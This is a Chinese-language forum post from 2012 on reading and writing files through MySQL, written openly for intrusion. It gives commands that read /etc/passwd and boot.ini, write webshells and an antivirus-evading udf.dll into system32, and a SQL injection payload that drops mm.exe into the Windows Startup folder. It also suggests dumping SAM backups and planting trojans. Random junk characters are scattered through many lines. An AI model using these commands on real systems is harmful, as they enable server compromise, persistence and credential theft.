找回密码
 立即注册
查看: 2410|回复: 0
打印 上一主题 下一主题

mysql下读取文件的几种方式

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:34:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。 - q0 k& I3 J' \6 K! `% f
思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同 , t, `/ k2 y- u; ~0 P, ^

. G2 e# z8 Z& _- Xmysql3.x下
( z5 ]# z$ A5 ]' {! N9 [9 H9 m- v) G5 ~* O# V$ s+ ^" T
不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下
. c$ x/ z2 W6 Z4 [% z0 Q9 U' p! V: A+ M2 u$ M
mysql>create table a (cmd text); 5 w: v: }8 k' w: {4 {9 _$ V1 R2 }, e  c
mysql>load data infile 'c:\\boot.ini' into table a; ) k+ @; q6 k, {" r5 B0 k. f
mysql>select * from a;
( |9 {# r0 [* V3 @! n- q$ A, L
mysql4.x下 4 [5 J* y$ S! }
4 }0 r* ~5 ], i, X5 N! i, M
mysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下
  _( R: }/ D* ~: G6 j/ g& l# _4 ?" ?6 @
mysql>create table a (cmd text);
+ Q: v$ e# N7 kmysql>insert into a (cmd) values (load_file('c:\\boot.ini')); ! {* |' c! B7 s- |3 X: {6 R( Z) ~
mysql>select * from a;
+ _# O2 e  g: h+ c
8 v$ a/ l1 I# Dmysql5.x下
9 m3 j  m5 J# S, x. E: a' f* O' z0 F: i6 V$ a9 o0 ^
在linux下,mysql5.x 除了上面两种方法,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下 0 V6 T% d) `1 y( E
1 P; P* `' c# J/ L, ~% M
mysql>system cat /etc/passwd 6 V6 \4 B. U+ c8 t

5 N7 r" `7 `# l* x$ @  Y0 w5 L" K1 q# [  G
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。 ! l  {# _' y8 g! m4 K" e8 `6 k
1 N5 A5 o. b. b4 }( Y4 D) \
0 v' i" W' E5 Y+ T$ G
例:把免杀过的udf.dll文件插入系统目录
$ x/ M' A0 b4 x
* X# c: `9 t' M/ ?3 o2 L: S# ^create table a (cmd LONGBLOB);
7 c, F$ A/ c& V+ D8 yinsert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll'))); : B. H; T- P' `
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll'; " j7 _; D6 }* r& S$ ]* y
! ~+ X" u; z0 _8 x. d& [: I
其他的利用方法也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
3 ]# b+ `2 Y- k" l8 {$ N) T( k5 @: ?8 d5 M0 l  h- \

* v; [2 {8 r" e( k9 v, G( f3 h+ S注入中的语法(未测试)
8 `6 r- W+ b, L, H4 i* l7 E" Y. |) i' y5 J: o

$ n. n4 z. S  fid=xxx and 1=2 union select 1,2,3,unhex(mm.exe的十六进制),5 INTO DUMPFILE 'C:\\Documents and Settings\\All Users\\「开始」菜单\程序\启动\\mm.exe'/*
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表